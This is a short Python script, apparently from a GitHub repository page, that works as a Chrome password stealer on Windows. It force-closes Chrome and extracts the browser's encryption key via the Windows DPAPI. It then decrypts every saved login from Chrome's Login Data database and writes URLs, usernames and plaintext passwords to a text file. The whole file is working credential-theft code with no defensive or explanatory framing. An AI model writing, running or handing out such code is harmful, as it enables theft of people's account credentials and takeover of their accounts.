-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathprogram.py
70 lines (61 loc) · 2.32 KB
/
program.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import os
import sqlite3
from Cryptodome.Cipher import AES
import json
import base64
import win32crypt
def closeChrome():
try:
os.system("taskkill /f /im chrome.exe")
except:
pass
def getSecretKey():
try:
with open(os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFILE'])), "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
secret_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
secret_key = secret_key[5:]
secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 0)[1]
return secret_key
except Exception as e:
print("Secret key not found")
def decryptPayload(cipher, payload):
return cipher.decrypt(payload)
def generateCipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decryptPassword(ciphertext, secret_key):
try:
initialisation_vector = ciphertext[3:15]
encrypted_password = ciphertext[15:-16]
cipher = generateCipher(secret_key, initialisation_vector)
decrypted_pass = decryptPayload(cipher, encrypted_password)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
except:
print("Cannot decrypt password")
def getChromePasswords():
data_path = os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
c = sqlite3.connect(data_path)
cursor = c.cursor()
select_statement = 'SELECT action_url, username_value, password_value FROM logins'
cursor.execute(select_statement)
login_data = cursor.fetchall()
extractedData = []
for userdatacombo in login_data:
if userdatacombo[1] != None and userdatacombo[2] != None and userdatacombo[1] != "" and userdatacombo[2] != "":
password = decryptPassword(userdatacombo[2], getSecretKey())
data = "URL: " + userdatacombo[0] + " Username: " + userdatacombo[1] + " Password: " + str(password)
extractedData.append(data)
else:
pass
return extractedData
def savePasswords(data):
with open("passwords.txt", "w") as f:
for line in data:
f.write(line + "\n")
def main():
closeChrome()
data = getChromePasswords()
savePasswords(data)
main()